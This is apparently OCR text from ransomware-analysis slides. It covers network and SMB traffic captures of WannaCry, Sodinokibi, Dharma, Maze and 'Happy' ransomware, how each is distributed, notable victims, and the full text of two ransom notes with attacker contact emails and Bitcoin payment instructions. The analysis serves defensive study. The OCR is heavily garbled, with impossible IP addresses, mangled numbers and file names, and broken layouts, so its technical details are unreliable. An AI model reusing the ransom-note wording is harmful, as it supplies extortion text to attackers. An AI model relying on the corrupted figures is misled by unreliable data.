58288 523.781943 192.168.2008.162 192.168.2088.15 SMB 142 Trans2 Response, FID: @x8876, QUERY FILE INFO

58289 523.78201@ 192.168.20808.15 192.168.2088.162 SMB 138 Trans2 Request, QUERY FILE TNFO, FID: 8x8876, Query File Basic Info

508290 523.782076 192.168.200.162 192.168.2088.15 SMB 158 Trans2 Response, FID: @x8876, QUERY FILE INFO




SMB Traffics in NAS of WannaCrypto

[ [smb2 B -]+
Mo, Time Bource Destination Frotocol Length  Info L
2988 232.316685 fedB::edad:5bbd:7Y.. fedd::6888:4a37:9b.. SMB2 282 Close Response
2989 232 316678 fed80::6088:4a37:9.. feldB::edad:Sbbd:7f.. SMB2 342 Create Request File: ~SDYEBA.tmp
2918 232.317181 fe8B::edad:5bbd:7.. feldB::68088:4a37:9b.. SMB2 151 Create Response, Error: STATUS PENDING
2911 232 .368425 fe8B::edad:5bbd:7.. feldB::68088:4a37:9b.. SMB2 318 Create Response File: ~SD7EBA.tmp
2913 232.360934 {ed30::0008:4a37:9.. fedB::edad:5bbd:7f.. SMB2 175 SetInfo Request FILE_INFO/SMB2_FILE_DISPOSITION_INFO
2914 232.361728 fedB::edad:5bbd:7.. fedB::6808:4a37:9b.. SMB2 144 SetInfo Response
2915 232.361984 fed80::6008:4a37:9.. feldd::edad:Sbbd:7f. SMB2 166 Close Request
2916 232.362183 fe8B::edad:5bbd:7.. feldB::68088:4a37:9b.. SMB2 282 Close Response
2917 232.362278 fe80::6008:4a37:9.. fedB::edad:5bbd:7f. SMB2 166 Close Request
2918 232.362438 fedB::edad:5bbd:7.. fedd::6888:4a37:9b.. SMB2 282 Close Response
—+= 2919 232.363338 fed80::6088:4a37:9.. fedB::edad:5bbd:7f.. SMB2 382 (Create Request File: @Please_Read_Me@.txt
«— 2920 232.363715 fe8@::edad:5bbd:7. fedB::60088:4a37:9b.. SMB2 486 Create Response File: @Please Read Mef@.txt
2921 232 .367787 fe8B::6008:4a37:9.. felB::edad:5bbd:7f. SMB2 295 GetInfo Request FS _TNFO/FileFsVolumeInformation File: @Please Read Mef.txt;G
2922 232.368849 fed0::edad:5bbd:7V.. fedd::oB88:4a37:9b.. SMB2 278 GetInfo Response;GetInfo Response
2923 232.3268177 fe80::6008:4a37:9.. fe8@::edad:5bbd:7f.. SMBE2 182 SetInfo Request FILE_INFO/SMB2_FILE_ENDOFFILE_INFO File: @Please Read Me@.tx
2924 232.368627 fedB::edad:5bbd:7.. feldd::60088:4a37:9b.. SMB2 144 SetInfo Response
2925 232.369347 fe80::6008:4a37:9.. fedB::edad:5bbd:7f. SMB2 1123 Write Request Len:933 Off:8 File: (@Please Read Mef@.txt
2926 232.369632 feBB::edad:5bbd:7.. feldB::68088:4a37:9b.. SMB2 158 Write Response
2927 232.369821 fed30::0008:4a37:9.. fedB::edad:5bbd:7f.. SMB2 214 SetInfo Request FILE_INFO/SMB2_FILE_BASIC INFO File: @Please_Read_Me@.txt
2028 232 .3700864 fedB::edad:5bbd:7. fedB::6888:4a37:9b.. SMB2 144 SetInfo Response
2929 232.378225 fe8B::6008:4a37:9.. fedB::edad:5bbd:7f. SMB2 166 Close Request File: @Please Read Mef@.txt
2938 232.378564 fe8B::edad:5bbd:7.. feldB::68088:4a37:9b.. SMB2 282 Close Response
2931 232.371141 fe80::60088:4a37:9.. fedB::edad:5bbd:7f. SMB2 414 Create Request File: @WanaDecryptorf.exe
20932 232.371578 fedB::edad:5bbd:7.. fedB::6808:4a37:9b.. SMB2 486 Create Response File: @WanaDecryptor@.exe
2933 232.371829 fed0::6008:4a37:9.. feldd::edad:Sbbd:7f. SMBE2 182 SetInfo Request FILE_INFO/SMB2 FILE ENDOFFILE_INFO File: @WanaDecryptorf.exe
2934 232.371995 fe8B::edad:5bbd:7.. feldB::68088:4a37:9b.. SMB2 144 SetInfo Response
2981 232.372823 fefB::6008:4a37:9.. felB::edad:5bbd:7f. SMB2 1514 Write Request Len:65536 Off:8 File: @WanaDecryptor@.exe [TCP segment of a re
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The Characteristic of Sodinokibi

. All of your files are encrypted!
e3avlaOfz...

Find e3av1a0fzb-readme.txt and follow instuctions

CamStudio

Vv

Particular Behavior

Malicious Activity

Sodinokibi, also known as ‘REvil
or ‘Sodin’, is a ransomware-as-
a-service (RaaS) model,
discovered in April 2019.

Distribute Ransomware
Email, Vulnerability

» Suspicious email attachments
which is a self-extracting exe
file.

* Vulnerability in Oracle
WebLogic (CVE-2019-2725)

1 https://www.2-spyware.com/remove-dharma-ransomware-virus.html, 2019
1l https://www.enigmasoftware.com/dharmaransomware-removal/ 2019

25

Multiple Language
International Ransom

if the extension is ".68610tek69"
(and the encrypted file is renamed
from, for example, "1.jpg" to
"1.jpg.686/0tek69"), the ransom
message filename will be called
"686/0tek69-HOW-TO-
DECRYPT.txt" or “686l0tek69-
readme.txt”. Sodinokibi also
changes the wallpaper.

Major Victims
2016~2020

On New Year’s Eve 2019, currency
exchange Travelex discovered it
had been infected with Sodinokibi
ransomware, as hackers
demanded $6 million for the return
of customer data.

Travelex had failed to patch its
vulnerable Pulse Secure VPN
servers, despite warnings issued
months earlier.



Traffic iIn WAN of SodinoKibi

|[i |ﬂpp15r a display filter ==+ =Ctrl-f> :T]

I, Time Sonrce Ciestination Frotocol Length  Info

376533 503.923474 192.168.200.16 81.19.159.86 54 49354 » 443 [ACK] Seq=1 Ack=1 Win=¢

376534 503.923960 192.168.200.16 81.19.159.86 TLSv1 185 Client Hello
376535 584.198853 81.19.159.86 192.168.2088.16 TCP 60 443 » 49354 [ACK] Seq=1 Ack=132 Wi
376536 584.190163 81.19.159.86 192.168.200.16 TLSv1 61 Alert (Level: Fatal, Description: F

376538 504.198324 192.168.200.16 81.19.159.86 54 49354 » 443 [ACK] Seq=132 Ack=9 Wi

376541 584.456558 81.19.159.86 192.168.200.16 60 443 » 49354 [ACK] Seq=9 Ack=133 Wi

376543 504 .4591e4

192.168.200.16 81.19.159.86 54 49355 » 443 [ACK] Seg=1 Ack=1 Win=¢

376544 584.459485 192.168.200.16 81.19.159.86 S5Lv3 112 Client Hello
376545 584.727369 81.19.159.86 192.168.200.16 TCP 60 443 » 49355 [ACK] Seq=1 Ack=59 Win-
376546 504.727854 81.19.159.86 192.168.200.16 55Lv3 61 Alert (Level: Fatal, Description: t

376548 584.728296 192.168.200.16 81.19.159.86 54 49355 » 443 [ACK] Seq=59 Ack=9 Win
76549 584.747971 192.168.200.16 54 49355 » 443 [RST, ACK] Seq=59 Ack=¢

376 ) —
376550 564.748013 192.168.2088.16 93.184.215. 246 54 49332 -» 8@ [RST, ACK] Seq=281 Ack="

O O



SMB Traffics iIn NAS of Sodlnoklbl

| n |smh file containz "-readme t4" or smb2 filename contains "-readme b

| +

Mo,

9452

9455
9456
9457
9453
9463
8466
9467
89468
9468
9478
9471
9472
9478
9479
9458
94581
9482
9483

9438
9497
9493

9495
9496

Time

1846.
9454 1846,
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1846.
1847.
1847.
1847.
9484 1847,
1847.
1847.
1847.
89494 1847,
1847.
1847.

768837
917658
918391
918898
928138
921466
928353
932873
948962
942677
949382
a58861
952144
953758
966454
969589
997553
glesa7y
818247
824867
825151
831862
844913
852215
853679
859500
861245

BSource

1a.
1.
1a.
1@.
1a.
1@.
1a.
1@.
1a.
1@.
1a.
1a.
1a.
1a.
1a.
1a.
1a.
1a.
1a.
1a.
1@,
1a.
1e.
1a.
1@.
1a.
1@.

[ B v Y Y Y Y Y Y Y Y O Y N Y o R B O Y i T O i T Y i T Y IO IO T v
L O o L " i ™ S I SIS =S

3]

.15

.15

.15

.15

.15

.15
.15

.15

.15

.15

.15

.15

.15

Destinatinn
1e.
18.
1e.
18.
1e.
18.
1e.
18.
1e.
1@.
1e.
1e.
1e.
1e.
1e.
18.
1e.
1e.
1e.
1e.
18.
1e.
18.
1e.
18.
1e.
18.

[ T v e Y v Y Y O Y O Y N B o R B o O B T IO T B i T B T O T v
L O o L " i ™ S I SIS =S

.15

.15

.15

.15

.15

.15

.15

.15

.15

.15

.15

.15

.15

Protocol
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB

Length  Info

182 NT Create AndX Request, FID: 8x3884, Path: \659yd22-readme.txt

193 NT Create AndX Response, FID: 8x38884

138 Trans? Request, QUERY FILE TNFO, FID: @x8884, Query File Internal Info

126 Trans2 Response, FID: @x8884, QUERY FILE INFO

138 Trans? Request, QUERY FILE TNFO, FID: @x8884, Query File Basic Info

158 Trans2 Response, FID: 8x3884, QUERY FILE INFO

944 Write AndX Request, FID: 6x8884, 6662 bytes at offset @

185 Write AndX Response, FID: 8x80884, 6662 bytes

138 Trans? Request, QUERY FILE TNFO, FID: 8x8884, Query File Network Open Info
174 Trans2 Response, FID: @x8884, QUERY FILE INFO

138 Trans? Request, QUERY FILE TNFO, FID: @x8884, Query File Basic Info

158 Trans? Response, FID: 8x86884, QUERY FILE TNFO

99 Close Request, FID: @x3884

93 Close Response, FID: @x38884

718 Trans?2 Response, FIND FIRST2, Files: . 659yd22 -readme.txt Demo-Pictures DO
218 NT Create AndX Request, FID: ©x8802, Path: ‘\demo-pictures‘\659yd22-readme.txt
193 NT Create AndX Response, FID: Bx3882

138 Trans? Request, QUERY FILE TNFO, FID: 8x8882, Query File Internal Info

126 Trans2 Response, FID: 8x8882, QUERY FILE INFO

138 Trans? Request, QUERY FILE TNFO, FID: 8x8882, Query File Basic Info

158 Trans2 Response, FID: 8x8882, QUERY FILE INFO

944 Write AndX Request, FID: 8x8882, 6662 bytes at offset @

185 Write AndX Response, FID: @x88082, 6662 bytes

138 Trans? Request, QUERY FILE TINFO, FID: 8x8882, Query File Network Open Info
174 Trans2 Response, FID: 8x38882, QUERY FILE INFO

138 Trans? Request, QUERY FILE TNFO, FID: 8x8882, Query File Basic Info

158 Trans?2 Re5punse FID Bx8882, QUERY FILE INFO
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All your files have been encrypted!

All your files have been encrypted due to a security problem with your PC. If you want to restore them, write us to the e-mail
paymentbtc@firemail.cc

Write this ID in the title of your message A4879F53

In case of no answer in 24 hours write us to theese e-mails: paymentbtc@firemail.cc

You have to pay for decryption n Breons. The price depends on how fast you wrke to us. After payment we wil send you the decryption tool that wil
decrypt al your fies.

Free decryption as guarantee
Before paying you can send us up to 1 fie for free decryption. The total size of fles must be less than 1Mb (non archived), and fies should not
contan vabiable iformation. (databases,backups, large excel sheats, etc.)

How to obtain Bitcoins
The easiest way to buy bitcons & LocaBicons ste. You have to regster, cick 'Buy bicons', and select the seler by payment method and price.
hites:/focabrcoins.com/buy_btcons
Ao you can find other places to buy Btcoins and begnners guide here:

Hitp can-+buy-btcons

ttp:/ /v, coindesk.com/nformation/how:

Attention!
Do not rename encrypted fies.
o Do not try to decrypt your data using thed party software, & may cause permanent data loss
o Decryption of your fies with the help of thrd parties may cause ncreased price (they add ther fee to our) or you can become a victim of a
scam.

Distribute Ransomware
Email

® Suspicious email
attachments which is a self-
extracting exe file.

YOUR FILES ARE ENCRYPTED

Don't worry,you can return all your files!

If you want to restore them, follow this link: email cryptlive@aol.com YOURID

If you have not been answered via the link within 12 hours, write to us by e-mail: cryptlive@aol.com

Attention!

» Do not rename encrypted files.

» Do not try to decrypt your data using third party software, it may cause permanent data loss.

« Dearyption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a

scam.

Particular Behavior
Malicious Activity

® |t uses ESET AV tool installation
hides malicious payload dropping
and encrypting processes.

® |t do not encrypt files since the
directory contains a mark file
named ‘XxXxxxxxx.lock’.

® |t also will put ‘Info.hta’ and
‘RETURN FILES.txt’ into victims’
folders.

2EE R https:/www.2-spyware.com/remove-dharma-ransomware-virus.html, 2019
ZEE N https:/lwww.enigmasoftware.com/dharmaransomware-removal/ 2019

Dharma Family
2016~2020

It may be one of the many variants
of the infamous Crysis
Ransomware.

The Characteristic of Dharma

Dharma Family
2016~2020

This ransom family also includes
Oron@india.com, Zzzzz, Wallet, Cezar,
Combo, Arena, Java Ran., Write Ran., Arrow
Ran., Bip Ran., Java2018@tutaio.arrow, Brr
Ran., Gamma, Bkp, Boost, Waifu, BTC,
FUNNY, Xxxxx, Audit, Tron, Adobe Ran.,
Santa Ran., Wallet, Heets, Qwex, ETH, 888,
Frend, KARLS, AYE Ran., NWA, Korea Ran.,
Stun



SMB Traffics in NAS of Darma

| n |smh.fi]£ containg " lock"

BHED -+

Mo,

219

836
945
951
955
957
1866
1246
1313
18988
18998
15888
15882
23588
23589
23681
23683
52583

Tiime

19
314 15.
19
19
19
19
19
28.
28.
28.
23,
23,
23,
23,
24,
24,
24,
24,
.4215958

31

52584 31

52665
52667

52675

892479
985988
987257
998968
999285
999443
999512
gevea’
833917
878725
306762
386914
387518
387576
gevel1l
887149
Be7/629
Be7e98

.422825
37.
37.
52674 37.
37.

381944
382811
382474
382544

Sonrce
192.
192.
192.
152,
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192,
192.
192.
192,
192.
192.
192,
192.
192.
192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

200.
288.
288.
.41
288.
.41
288.
288.
288.
288.
.41
288.
.41
288.
.41
288.
.41
20a.
.41
288.
.41
288.
.41
288.

288

288

288

288

288

288

288

288

288

162

162

162

162

162

162

162

162

162

162

162

162

162

162

162

Destination

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

208.
.41
.41
208.
.41
208.
.41
.41
.41
.41
208.
.41
208.
.41
208.
.41
208.
.41
208.
.41
208.
.41
208.
.41

208
208

208

208

208

208

208

208

208

208

288

208

208

208

41

162

162

162

162

162

162

162

162

162

Protocol
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB

Length
582 Trans2 Response, FIND FIRST2, Files:
194 Trans2 Response, FIND FIRST2, Files:
Trans2 Response, FIND FIRST2, Files:

582
172
1593
138
126

194 Trans2 Response, FIND FIRST2, Files:
Trans2 Response, FIND FIRST2, Files:
Trans2 Response, FIND FIRST2, Files:

718
718
172
1593
138
126

1593
138
126
95
93
99
93
95
93

Info

. 40250a3436f -readme. txt deBdfT40.lock
. 28161885 PS5.GHO.40258a436f 2019888%ug
. 4025054361 -readme . txt d6Bdf40. lock

NT Create AndX Request, FID: @x488c, Path: ‘\de8df{4e.lock

NT Create AndX Response, FID: @x4d88c

Trans2 Request, QUERY FILE TNFO, FID: @x488c, Query File Internal Info
Trans2 Response, FID: @x488c, QUERY FILE INFO

. 28161885 P55.GHO.40258ad436+f 28198885y
. 123KUBD 22 - 22p22222222222222.1nk 4o:
. 123KUBD 22 - 22p22222222222222.1nk 4o:

NT Create AndX Request, FID: 8x8818, Path: ‘deBdff48.lock

NT Create AndX Response, FID: @x3618

Trans2 Request, QUERY FILE TNFO, FID: 8x8818, Query File Internal Info
Trans2 Response, FID: @x8818, QUERY FILE INFO

184 NT Create AndX Request, FID: @xcB@b, Path: \MOVIE\d&6Bdffd8.lock

NT Create AndX Response, FID: @xc@8b

Trans2 Request, QUERY FILE TNFO, FID: @xc8B8b, Query File Internal Info
Trans2 Response, FID: @xcB8b, QUERY _FILE_ INFO

Close
Close
Close
Close
Close
Close

Request, FID: 8x488c
Response, FID: @x488c
Reguest, FID: @x8@18
Response, FID: @x8@1@
Request, FID: BxcBBb
Response, FID: 8xcBBb



SMB - xxxxxxxx.lock of Dharma

(W [ 4oLy o display filter - <Ctil-é= o 7| Expression  + SM

Mo, Time Bource Destination Protocol  Length  Info
288 2819-11-12 1. 192.168.2008.162 192.168.208.41 SMB 642 Trans2 Response, FIND FIRST2, Files: FoxitReaderPortable FoxitReaderPortable ¢
289 2819-11-12 1.. 192.168.280.41 192.168.288.162  SMB 284 Trans2 Request, QUERY_PATH_INFO, Query File Basic Info, Path: \Foxit Reader 9.6.8.:
219 2819-11-12 1. 192.168.200.162 192.168.288.41 SMB 158 Trans2 Response, QUERY_PATH_INFO
211 2819-11-12 1. 192.168.280.41 192.168.288.162  SMB 284 Trans2 Request, QUERY_PATH_INFO, Query File Standard Info, Path: \Foxit Reader 9.6,
212 2819-11-12 1. 192.168.200.162 192.168.288.41 SMB 142 Trans2 Response, QUERY_PATH_INFO
213 2819-11-12 1. 192.168.280.41 192.168.288.162  SMB 284 Trans2 Request, QUERY_PATH_INFO, Query File Standard Info, Path: \Foxit Reader 9.6,
214 2819-11-12 1. 192.168.200.162 192.168.288.41 SMB 142 Trans2 Response, QUERY_PATH_INFO
215 2819-11-12 1. 192.168.280.41 192.168.288.162  SMB 294 Trans2 Request, FIND _FIRST2, Pattern: \Foxit Reader 9.6.8.25114 2222 - 2?2Adobe Reac
216 2819-11-12 1. 192.168.2008.162 192.168.208.41 SMB 1842 Trans2 Response, FIND FIRST2, Files: . App Data FoxitReaderPortable.exe help.htr
217 2819-11-12 1. 192.168.280.41 192.168.288.162  SMB 292 Trans2 Request, QUERY_PATH_INFO, Query File Basic Info, Path: \Foxit Reader 9.6.8.1
218 2819-11-12 1. 192.168.200.162 192.168.288.41 SMB 158 Trans2 Response, QUERY_PATH_INFO
219 2819-11-12 1. 192.168.200.162 192.168.288.41 SME 582 Trans2 Response, FIND FIRST2, Files: . Ap0258ad36f -readme. txt deBdff48.lock
229 2819-11-12 1. 192.168.288.41 192.168.288.162 TCP 54 49396 -+ 139 [ACK] Seq=7815 Ack=35856 Win=65824 Len=0
221 2819-11-12 1. 192.168.288.41 192.168.288.162  SMB 244 Trans2 Request, QUERY_PATH_TINFO, Query File Basic Info, Path: \Foxit Reader 9.6.8.:
222 2819-11-12 1. 192.168.2088.162 192.168.288.41 SMB 158 Trans2 Response, QUERY_PATH_INFO
223 2919-11-12 1. 192.168.288.41 192.168.288.162  SMB 244 Trans2 Request, QUERY_PATH_TINFO, Query File Standard Info, Path: \Foxit Reader 9.6,
224 2819-11-12 1. 192.168.2088.162 192.168.288.41 SMB 142 Trans2 Response, QUERY_PATH_INFO
225 2819-11-12 1. 192.168.288.41 192.168.288.162  SMB 254 Trans2 Request, FIND FIRST2, Pattern: \Foxit Reader 9.6.8.25114 2222 - 2?2Adobe Reac
226 2819-11-12 1.. 192.168.288.162 192.168.288.41 SMB 642 Trans2 Response, FIND_FIRS5T2, Files: FoxitReaderPortable FoxitReaderPortable ©
227 2919-11-12 1. 192.168.288.41 192.168.288.162  SMB 284 Trans2 Request, QUERY_PATH_TINFO, Query File Basic Info, Path: \Foxit Reader 9.6.8.:
228 2819-11-12 1. 192.168.2088.162 192.168.288.41 SMB 158 Trans2 Response, QUERY_PATH_INFO
229 2919-11-12 1. 192.168.288.41 192.168.288.162  SMB 284 Trans2 Request, QUERY_PATH_TINFO, Query File Standard Info, Path: \Foxit Reader 9.6,
238 2819-11-12 1. 192.168.2088.162 192.168.288.41 SMB 142 Trans2 Response, QUERY_PATH_INFO
231 2819-11-12 1. 192.168.288.41 192.168.288.162  SMB 294 Trans2 Request, FIND FIRST2, Pattern: \Foxit Reader 9.6.8.25114 2222 - 2?2Adobe Reac
232 2819-11-12 1. 192.168.288.162 192.168.288.41 SMB 1842 Trans2 Response, FIND_FIRST2, Files: . App Data FoxitReaderPortable.exe help.htn



The Characteristic of Maze

Major Victims
2019~2021

Maze ransomware was

Multiple Servers :
one of the first

Network Servers ransomware families that
: - When executing on a machine, threatened to leak the
Particular Behavior Maze ransomware will also attempt ~ Victims’ confidential data
Malicious Activity to determine what kind of PC it has  if they refused to
o . infected. It tries to distinguish cooperate.
Distribute Ransomware  MAZE uses two algorithms to between different types of system

encrypt the files, ChaCha20 and (‘backup server’, ‘domain controller’

Email, RDP RSA. Maze creates a file called ‘standalone server’, etc.). Using
”ﬁ”spam Camp‘f’“ggs zifci\r(\fa-l;nzneﬁ;%ttég (fa”a;csh folder this information in the ransom note,
;t![:clﬂgn\évrizp(r)nn(;iiy it skips some folders among.which the Trojan aims to further scare the
RDP brute force attacks Program Files, %appdata%\local. ything

the affected network.

Z£EE R https://blog.malwarebytes.com/threat-spotlight/2020/05/maze-the-ransomware-that-introduced-an-extra-twist/, 2020
SEZR-https//securelist.com/maze=ransomware/99137//-2019



Major Victims of Maze




SMB Traffic In NAS of Maze

[[] [smb file contains "DECRYPT-FILES bt" [X] -]+
Ma. Time Sonice Destination Protocol Length  Info Bl
132 1.751762 192.168.288.11 192.168.260.162 SMB 188 NT Create AndX Request, Path: \DECRYPT-FILES.txt
133 1.751838 192.168.268.162 192.168.288.11 S5MB 93 NT Create AndX Response, FID: B8x0888, Error: STATUS_ACCESS_DENIED
186 1.7768@832 192.168.2868.11 152.168.26868.162 SMB 188 NT Create AndX Request, Path: “DECRYPT-FILES.txt
188 1.778162 152.168.26808.162 152.168.2868.11 SMB 93 NT Create AndX Response, FID: 8x0808, Error: STATUS_ACCESS_DENIED
192 1.776778 152.168.2868.11 152.168.2808.162 SMB 188 NT Create AndX Request, FID: 8x4015, Path: \DECRYPT-FILES.txt
198 1.778957 152.168.26808.162 152.168.2868.11 SMB 193 NT Create AndX Response, FID: B8x4815
284 1.771899 152.168.288.11 152.168.2688.162 SMB 138 Trans2 Request, QUERY_FILE_INFO, FID: @x4815, Query File Internal Info
286 1.771965 152.168.2688.162 192.168.2868.11 SMB 126 Trans2 Response, FID: 8x4815, QUERY_FILE_INFO
218 1.773%02 152.168.2868.11 152.168.268.162 SMB 236 NT Create AndX Request, Path: \7-Zip 19.8@ 222323232 - 22223\ DECRYPT-FILES.txt
211 1.773872 152.168.268.162 152.168.2868.11 SMB 93 NT Create AndX Response, FID: 8x0808, Error: STATUS ACCESS_DENIED
219 1.774318 152.168.20868.11 152.168.268.162 SME 1318 Write AndX Request, FID: @x4@815, 9956 bytes at offset @
228 1.774654 152.168.268.162 152.168.20868.11 SME 185 Write AndX Response, FID: @x4815, 9956 bytes
236 1.77632032 152.168.20868.11 152.168.268.162 SME 99 Close Request, FID: 8x4815
239 1.776428 152.168.260.162 152.168.2868.11 SMB 93 Close Response, FID: @8x4815
245 1.776792 152.168.2868.11 152.168.260.162 SMB 366 NT Create AndX Request, Path: ‘Adobe Flash Player 32.8.8.344 2?2?? (?? IE?Fi
246 1.7765906 152.168.260.162 152.168.2868.11 S5MB 814 Trans2 Response, FIND FIR5T2, Files: . .. 2db88818a4879f53.tmp DECRYPT-FILES
247 1.776507 152.168.260.162 152.168.2868.11 S5MB 93 NT Create AndX Response, FID: 8x0888, Error: STATUS ACCESS_DENIED
248 1.776942 152.168.288.11 152.168.268.162 SMB 262 NT Create AndX Request, Path: \7-Zip 19.80@ 22?2222 - 2222?21\ 7ZipPortable\DECR
249 1.7776812 152.168.2680.162 152.168.288.11 SMB 93 NT Create AndX Response, FID: 8x08088, Error: STATUS ACCESS_DENIED
281 1.7808429 152.168.288.11 192.168.260.162 SMB 484 NT Create AndX Request, Path: ‘\Adobe Flash Player 32.8.8.344 2?2?22 (?? IE?Fi
283 1.780505 152.168.288.11 192.168.260.162 SMB 194 NT Create AndX Request, FID: 9x888d, Path: \2?22222\DECRYPT-FILES.txt
284 1.788508 192.168.268.162 192.168.288.11 S5MB 93 NT Create AndX Response, FID: B8x0888, Error: STATUS_ACCESS_DENIED
287 1.780762 192.168.268.162 192.168.288.11 S5MB 193 NT Create AndX Response, FID: Bx888d
298 1.788929 192.168.2868.11 152.168.26868.162 SMB 138 Trans2? Request, QUERY_FILE_INFO, FID: 8xB88d, Query File Internal Info
295 1.781@7a 152.168.26808.162 152.168.2868.11 SMB 126 Trans2? Response, FID: 8x888d, QUERY_FILE_INFO
314 1.782667 152.168.2868.11 152.168.2808.162 SMB 1318 Write AndX Request, FID: @xB88d, 9956 bytes at offset @
316 1.782882 152.168.2868.11 152.168.2808.162 SMB 278 NT Create AndX Request, Path: \7-Zip 19.8@ 2223222 - 222220 7ZipPortableM\App)




SMB Traffics iIn NAS of Maze

[ [ | smb2 filenzime conteins "DECRYFT-FILES tat"

B -+

Mo

+

Tirme
131 1.751549
135 1.752794
168 1.756659
289 1.772884
332 1.784973
482 1.8086837
589 1.984229
769 1.59732668
772 1.982831
859 2.883141
989 2.887839
969 2.891435
1847 2.167521
1283 2.254252
1388 2.263198
1422 2.278825
1472 2.275519
1538 2.281915
1865 2.372482
1891 2.374587
19@7 2.376e187
2855 2.386472
2179 2,394182
2627 2.506686
2934 2.653343
2939 2.654008
2975 2.662195

Bource

fe8@::9d5a:eded: a..
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
febf::1c82:7b55:4..

192.
192.
192.
192,
192.
192.
192.
192.
192.
192.
192.
192.
192,
192.
192.
192.
192.

208.
2008.
208.
200.
208.
2008.
208.
208.
2008.
208.
2008.
208.
200.
208.
2008.
208.
208.

11
11
11
165
11
11
165
11
11
11
11
11
11
11
11
11
11

192.168.26860.11

fed0: :9d5a: eded: a..

192.168.208.11

fedB::1c82:7b55: 4.

192.168.2606.11
192.168.286.165
192.168.2068.11

192.

168

.208.

11

Destination

fe8f: :1c82:7b55: 4f...
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
fe8l: :9d5a: eded:

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

288,
288,
288,
288,
288,
208.
288,
208.
288,
288,
288,
288,
288,
288,
208.
288,
208.

165
165
165
11

165
165
11

165
165
165
165
165
165
165
165
165
165

192.168.2808.165
fedB: :1cB82:7b55
192.168.288.165

fe88::9d5a:eded:
192.
192.
192.
192.

168.
168.
168.
168.

288,
288,
288,
208.

165
11

165
165

ab...

.

ab...

Protocol

SMB2
SMB2
SMB2
5MB2
SMBE2
SMB2
SMB2
SMB2
SMB2
SMBE2
SMB2
SMB2
SMB2
SMBE2
5MB2
SMB2
SMB2
SMB2
SMBE2
SMB2
SMB2
SMB2
SMBE2
5MB2
SMBE2
SMB2
SMB2

Length

414
362
362
378
962
378
394
586
418
418
442
466
426
443
426
586
426
4432
1342
426
438
442
998
458
962
458
458

Info

Create Request File:
File:
File:
File:

Create Request
Create Request
Create Request

PublicyDocuments\DECRYPT-FILES.txt
DECRYPT-FILES.txt
DECRYPT-FILES.txt
Default\DECRYPT-FILES. txt

Find Response;Find Response, Error: STATUS_NO MORE_FILES
Create Request File: JAIFE F+#E3Z\DECRYPT-FILES.txt
Create Request File: Defaulth\AppData’\DECRYPT-FILES.txt
Find Response;Find Response, Error: STATUS_NO MORE_FILES

Create Request
Create Request
Create Request
Create Request
Create Request
Create Request
Create Request
Create Request
Create Request
Create Request

File:
File:
File:
File:
File:
File:
File:
File:
File:
File:
Create Response File:

Defaulth\AppDatah\Roaming \DECRYPT-FILES.txt
Default\AppData’\Roaming\Adobe \DECRYPT-FILES. txt
Defaulth\AppDatah\RoaminghAdobeyFlash Player\DECRYPT-FILE
Default\AppData’\Roamingi\Adobel\Flash Player\NativeCachel,
Defaulth\AppDatahRoaming\GRETECH\DECRYPT-FILES.txt
Default\AppData’\Roaming\GRETECH\GomPlayer\DECRYPT-FILES
DefaulthAppDatahRoaminghIdentities\DECRYPT-FILES.txt
Defaulth\AppData’\Roaming\Identities\{DE9G4A8A2-4897 -46D6-
Defaulth\AppDatah\Roaming’ImgBurn\DECRYPT-FILES.txt
Defaulth\AppDatahRoaminghImgBurnilog Files\DECRYPT-FILES
Public\Documents;Find Response;Find Response, Error: §

Create Request File: DefaulthAppData‘\Roaminghkingsoft\DECRYPT-FILES.txt

Create Request File: Public\Documents‘H|5EE HE="\DECRYPT-FILES.txt

Create Request File: DefaulthAppData’\Roaminghkingsofth\officeb\DECRYPT-FILES.

Find Response;Find Response, Error: STATUS_NO MORE_FILES

Create Request File: DefaulthAppData‘\Roaminghkingsofth\officeb\backup \DECRYPT

Find Response;Find Response, Error: STATUS_NO MORE_FILES

Create Request File: Defaulth\AppData‘\Roaming\kingsofth\officeb\homepage \DECRY

Create Request File: Defaulth\AppData’\Roamingh\kingsofth\officeblog\DECRYPT-FI



The Evolution of T1 Happy Ransomware

2019-1111-Test-After-3.avi.happy.happy 2019/11/11 E8— T 5:59 HAPPY 18 64,851 KB

2019-1111-Test-After-3.pcap.happy.happy 2019/11/11 E8— TFF 559 HAPPY 18 40 KB

2019-1111-Test-After-Netstat-5.png.happy 2019/11/11 28— TF 5:59 HAPPY 82 67 KB

2019-1111-Test-After-Resource-5a.png.happy 2019/11/11 E8— T 5:59 HAPPY 18 27 KB

2019-1111-Test-After-Resource-5b.png.happy 2019/11/11 28— T 559 HAPPY 18 53 KB

2019-1111-Test-After-Tasklist-5.png.happy 2019/11/11 28— TF 5:59 HAPPY 82 47 KB

cc_20181120_144346.reg.happy.happy.happy 2019/11/11 E8— TFF 559 HAPPY 18 23 KB

Test-Atxthappy 2019/11/11 28— T 559  HAPPY EZE 1KB

Test-B.txthappy 2019/11/11 E8— T4 559  HAPPY &= 1KB

test-D.txt 2019/11/11 E8— T 5:23 MEFEMHE 1KB
Major Victims
2016~2019

Network Traffic Top 3 Countries Infected:
United Kingdom, Italy,
2019~ Bangladesh.
Particular Behavior This ransomware will connect to a
o SMTP Server and another HTTPS
Challenge the victims Server both.
Distribute Ransomware  ltleaves its source code .
Email challenging the victim to on Windows 7 and Windows 10

